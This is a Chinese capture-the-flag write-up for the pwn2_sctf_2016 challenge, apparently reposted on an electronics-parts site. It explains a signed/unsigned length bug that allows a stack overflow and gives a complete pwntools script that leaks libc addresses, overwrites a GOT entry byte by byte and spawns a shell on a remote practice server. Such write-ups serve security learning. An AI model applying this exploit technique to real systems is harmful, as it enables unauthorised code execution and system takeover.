资讯详情

【CTF】pwn2_sctf_2016

问题分析

反编译,发现漏洞

void main(void) { 
           setvbuf(stdout,(char *)0x0,2,0);   vuln();   return; } void vuln(void) { 
           char local_30 [32];   int local_10;      printf("How many bytes do you want me to read? ");   get_n(local_30,4);   local_10 = atoi(local_30);   if (local_10 < 0x21) { 
             printf("Ok, sounds good. Give me %u bytes of data!\n",local_10);     get_n(local_30,local_10);     printf("You said: %s\n",local_30);   }   else { 
             printf("No! That size (%d) is too large!\n",local_10);   }   return; } void get_n(int param_1,uint param_2) { 
           char cVar1;   int iVar2;   uint local_10;
  
  local_10 = 0;
  while( true ) { 
        
    iVar2 = getchar();
    cVar1 = (char)iVar2;
    if (((cVar1 == '\0') || (cVar1 == '\n')) || (param_2 <= local_10)) break;
    *(char *)(param_1 + local_10) = cVar1;
    local_10 = local_10 + 1;
  }
  *(undefined *)(local_10 + param_1) = 0;
  return;
}
void do_thing(void)
{ 
        
  code *pcVar1;
  
  pcVar1 = (code *)swi(0x80);
  (*pcVar1)();
  return;
}

从反编译代码看,漏洞很明显:

local_10 = atoi(local_30); 
if (local_10 < 0x21) { 
        
    get_n(local_30,local_10);
}
void get_n(int param_1,uint param_2)

get_n输入参数是uint,而atoi是int型,所以可以通过输入-1来溢出。有一个点需要注意:

if (((cVar1 == '\0') || (cVar1 == '\n')) || (param_2 <= local_10)) break;

溢出代码需要注意中间不能有0x00或0x0a,不然会被截断。 另外,do_thing也是可能的点,通过int 0x80调用execve。

解题思路

1 查找可以获取shell的途径

2 因此,首先需要通过溢出得到系统函数地址,然后再通过溢出获取shell。这种问题正常情况下都是常规操作,因为前面我们以及找到溢出点了。 这里详细说下我遇到的坑,坑真的不浅~~~

  1. 本机调试成功后,通过LibcSearcher查找对应libc攻击靶机总是失败,通过printf地址可以得到多个libc,但是加上其他函数地址增加限制条件,就得不到libc,让我有点怀疑人生。
  2. 没有更好的办法,虽然觉得肯定是哪出了问题,但是https://libc.rip/上就是查不到,一时也没怀疑的点。只能通过printf的地址得到的libc挨个试过去,结果肯定是不通。
  3. 检查日志打印,发现了system地址的疑点,因为结尾是00,通过小端序发送出去,就变成00XX了,直接被截断。好像看到了希望。
  4. 为了解决这个问题,专门找了一个__gmon_start的got地址作为存储地址,通过单字节发送, 把系统地址写在该地址上
  5. ok,仍然是本机调试成功后,连接靶机测试依然失败。无奈,又把前后环节都梳理了一下,依然找不到原因。只能搜索前人写的writeup,结果,大跌眼镜,就是我前面的解题思路,只不过libsearcher用的是老版本的(带libc-database的)。
  6. 没办法,还是想刚到底,找到真正的原因,下载老版本的LibcSearcher,通过printf地址和atoi地址得到了两个libc,而这两个地址在https://libc.rip/上就是得不到,ok,连接靶机测试,一把成功。(老版本的LibcSearcher的add_condition函数应该是有歧义的,增加限制条件,只会匹配更多的libc,而不是缩小范围,只好手改了一版。。。小坑)

解题脚本

不多说了,坎坷都在脚本里。

from pwn import *
from LibcSearcher import *
import sys

elf = ELF('./pwn2_sctf_2016')
#libc = ELF('libc-2.27.so') # 根据环境不同进行替换

context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")

#asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
#shellcode=asm(shellcraft.amd64.linux.sh())
#print(len(shellcode))
#print(shellcode)

#sh = process('./pwn2_sctf_2016')
sh = connect("node4.buuoj.cn", 25248)
libc = ELF('libc6-i386_2.31-8_amd64.so')

pad = '0' * 48
vuln_addr = 0x0804852f
format_addr = 0x080486f8
printf_addr = 0x08048370
printf_got_addr = 0x0804a00c
anchor_symbol = 'printf'

# 通过溢出得到printf的内存地址
sh.recvuntil('read?'.encode())
sh.sendline('-1'.encode())
sh.recvline()
payload = pad.encode() +  p32(printf_addr) + p32(vuln_addr)  + p32(format_addr) + p32(printf_got_addr)
sh.sendline(payload)
#sh.recvline()
sh.recvuntil('said: ')
sh.recvuntil('said: ')
#content = sh.recvline()[10:14]
#mem_printf_addr = int.from_bytes(content, 'little')
mem_printf_addr = u32(sh.recv(4))
print("printf: %#x -> %s" % (printf_got_addr, hex(mem_printf_addr)))

# 通过溢出得到atoi的内存地址
atoi_got_addr = 0x0804a01c
sh.recvuntil('read?'.encode())
sh.sendline('-1'.encode())
sh.recvline()
payload = pad.encode() +  p32(printf_addr) + p32(vuln_addr)  + p32(format_addr) + p32(atoi_got_addr)
sh.sendline(payload)
#sh.recvline()
sh.recvuntil('said: ')
sh.recvuntil('said: ')
#content = sh.recvline()[10:14]
#mem_printf_addr = int.from_bytes(content, 'little')
mem_atoi_addr = u32(sh.recv(4))
print("atoi: %#x -> %s" % (atoi_got_addr, hex(mem_atoi_addr)))


mem_addr = mem_printf_addr

# 通过新版LibcSearcher得到系统函数偏移地址。因为得到的结果是错误的,因此注释掉
#obj = LibcSearcher(anchor_symbol, mem_addr) # 使用一个已知符号地址作为初始约束,初始化 LibcSearcher
#obj.add_condition("__libc_start_main", mem_main_addr) # 添加一个约束条件
#idx = 0
#if len(sys.argv) >= 2:
#idx = int(sys.argv[len(sys.argv) - 1])
#objlen = len(obj)
#obj.select_libc(idx)
#print("%d/%d -> %s " % (idx, objlen, obj))
#libc_anchor_offset = obj.dump(anchor_symbol)
#libc_system_offset = obj.dump('system')
#libc_binsh_offset = obj.dump('str_bin_sh')

# 通过老版本LibcSearcher得到的偏移地址,直接拷贝过来的
libc_anchor_offset = 0x49020
libc_system_offset = 0x3a940
libc_binsh_offset = 0x15902b

#libc_anchor_offset = libc.sym[anchor_symbol]
#libc_system_offset = libc.sym['system']
#libc_binsh_offset = next(libc.search(b'/bin/sh'))
mem_libc_base = mem_addr - libc_anchor_offset
mem_system_addr = mem_libc_base + libc_system_offset
mem_binsh_addr = mem_libc_base + libc_binsh_offset
print(" binsh=%x, system=%x" % (mem_binsh_addr, mem_system_addr))

# 通过单字节发送将系统地址存在gmon_start_got_addr处。如果系统地址中无0x00字节,完全不需要此步骤
gmon_start_got_addr = 0x0804a014
gmon_start_plt_addr = 0x08048390
getn_addr = 0x080484e3
for i in range(0,4):
    sh.recvuntil('read?')
    sh.sendline('-1'.encode())
    sh.recvline()
    payload1 = pad.encode() +  p32(getn_addr) + p32(vuln_addr)  + p32(gmon_start_got_addr + i) + p32(0x12345678)
    sh.sendline(payload1)
    sh.recvline()
    pos_start = 2*(4 - i)
    pos_end = pos_start + 2
    onebyte = hex(mem_system_addr)[pos_start:pos_end]
    print("==>" + onebyte)
    if int(onebyte,16) == 0:
        sh.send(p8(0))
    else:
        sh.sendline(p8(int(onebyte, 16)))

# 通过溢出得到gmon_start_got_addr地址,验证地址是否写入成功,非必须,可以删除
sh.recvuntil('read?'.encode())
sh.sendline('-1'.encode())
sh.recvline()
payload = pad.encode() +  p32(printf_addr) + p32(vuln_addr)  + p32(format_addr) + p32(gmon_start_got_addr)
sh.sendline(payload)
#sh.recvline()
sh.recvuntil('said: ')
sh.recvuntil('said: ')
#content = sh.recvline()[10:14]
#mem_printf_addr = int.from_bytes(content, 'little')
mem_gmon_start_addr = u32(sh.recv(4))
print("gmon_start: %#x -> %s" % (gmon_start_got_addr, hex(mem_gmon_start_addr)))

# 通过system("/bin/sh")获取shell
sh.recvuntil('read?'.encode())
sh.sendline('-1'.encode())
sh.recvline()
payload1 = pad.encode() +  p32(gmon_start_plt_addr) + p32(vuln_addr) + p32(mem_binsh_addr)
sh.sendline(payload1)

# 存储paylaod, 非必须
with open('payload.txt', 'wb') as f:
    f.write('-1\n'.encode())
    f.write(payload + '\n'.encode())
    f.write('-1\n'.encode())
    f.write(payload1 + '\n'.encode())

sh.interactive()

总结

对于栈的理解比以前要深入了,问题分析应该也是清楚的,但是弯路总是没少走~~~ 欲哭无泪,这次是https://libc.rip/伤害了我,从始至终,我都没怀疑过这个网站会出问题,直到被结果打了脸,感觉需要自己写个LibcSearcher,把本地的libc和通过网络接口开放的服务结合在一起,才更靠谱。。。

附录

  1. [ret2syscall(int
  2. 0x80的利用)](https://www.ctfnote.com/pwn/linux-exploitation/rop/ret2syscall)
  3. ret2syscall(狼组安全团队公共知识库)
  4. 新版本LibcSearcher
  5. 老版本LibcSearcher
  6. libc-database

标签: p32j3m密封连接器p32j12m密封连接器p32j10mq密封连接器p32j11mqg密封连接器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台